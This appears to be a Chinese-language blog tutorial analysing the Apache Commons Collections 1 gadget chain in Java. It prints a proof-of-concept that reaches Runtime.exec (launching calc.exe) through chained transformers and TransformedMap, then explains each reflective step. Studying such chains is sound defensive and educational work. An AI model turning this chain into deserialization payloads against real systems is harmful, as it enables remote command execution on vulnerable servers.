Java安全之Commons Collections1分析（一）

0x00 前言

在CC链中，其实具体执行过程还是比较复杂的。建议调试前先将一些前置知识的基础给看一遍。

0x01 CC链分析

这是一段poc代码，执行完成后会弹出一个计算器。

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西，其实就是获取这个map的第一个键值对（value,value）；然后转化成Map.Entry形式，这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

下面每一段一段代码的来进行分析。

首先Transformer是一个接口，ConstantTransformer和InvokerTransformer都是Transformer接口的实现类。那么在这里抛出一个问题，Transformer明明是接口为什么可以new呢？这也是我一开始看到这段代码的时候的一个问题。

Transformer[] transformers = new Transformer[]

其实这里并不是new了一个接口，而是new了一个 Transformer类型的数组，里面存储的是 Transformer的实现类对象。

先来分析一下ConstantTransformer

这里是使用了构造方法传入参数，并且传入的参数为Runtime,而在调用到transform时，会进行返回我们传入的参数。后面会讲具体怎么去调用的这个方法。

InvokerTransformer分析

打一个debug跟踪到InvokerTransformer类里面

这里的传入了三个参数，第一个是方法名，第二个是参数类型，第三个是参数的值。

为了清晰，下面列一下，每个InvokerTransformer的参数值。

getMethod,null,getRuntime
invoke,null,null
exec,null,calc.exe

这里也有个transform方法，也是比较重要的一个点，但是在这里先不分析该方法，这个放在后面去做分析。

ChainedTransformer分析

来看下一段代码

Transformer transformerChain = new ChainedTransformer(transformers);

将transformers数组传入ChainedTransformer构造方法里面。

该构造方法对进行赋值到本类的成员变量里面，后面如果调用了transform方法，就会遍历transformers数组进行逐个去调用他的transform。那么分析到这一步我们需要做的是ChainedTransformer的transform什么时候会被调用。

官方说明：

将指定的转换器连接在一起的转化器实现。
    输入的对象将被传递到第一个转化器，转换结果将会输入到第二个转化器，并以此类推

也就是说该方法会将第一次的执行结果传递到第二次执行的参数里面去。

这里可以看到传入的Runtime，那么为什么传入的是Runtime呢？再回去看看ConstantTransformer这个类就可以知道，调用transform方法的话就会进行返回this.iConstant。而在定义数组的时候，我们就使用了ConstantTransformer的构造方法来进行赋值。

 new ConstantTransformer(Runtime.class)

所以这里传入的是Runtime的类。

在第一次执行的时候，已经将Runtime传入到了参数里面

这里的transform方法使用了反射。

 Class cls = input.getClass();
                Method method = cls.getMethod(getMethod,null);
                return method.invoke(input, getRuntime);

反射调用并且返回getRuntime对象。

第二次传入的是Runtime.getRuntime

Class cls = input.getClass();
Method method = cls.getMethod(invoke, null);
return method.invoke(input,null);

第二次返回的是Runtime的实例化对象。

第三次又将实例化对象传入方法参数里面，

 Class cls = input.getClass();
Method method = cls.getMethod("exec", null);
return method.invoke(input, "calc.exe");

这样一个命令就执行完成了，那么ChainedTransformer的作用就是将Transformer数组给拼接起来。

通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法，然后通过反射执行invoke才能去调用getRuntime方法，这样得到一个Runtime对象，然后再去调用Runtime对象的exec方法去达到命令执行。

那么又会回到刚刚的问题，ChainedTransformer是怎么被调用的呢？

TransformedMap分析

先来查看他的构造方法

构造方法把传入的map和Transformer进行赋值。

在TransformedMap的transformValue方法中看到调用了this.valueTransformer的transform。而在下面一段代码就已经对他进行了赋值

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

TransformedMap类并不能直接new出来，需要使用decorat提供一个实例化对象。

在这里我们就已经知道了transformValue可以去调用transform方法，那么再来看看transformValue会在哪里被调用。

在put方法就会调用transformValue，从而导致transformValue调用transform方法去执行命令。

   public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

       
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("1","1");

0x02 结尾

在这里我们是使用了代码直接的让他去弹出一个计算器，但是在实际运用中，需要将该代码转换为序列化流。在实际运用中需要我们需要找到⼀个类，它在反序列化的readObject读取我们序列化的流文件。在分析该链的时候也比较乱，下篇文章重新来完整的调试一下。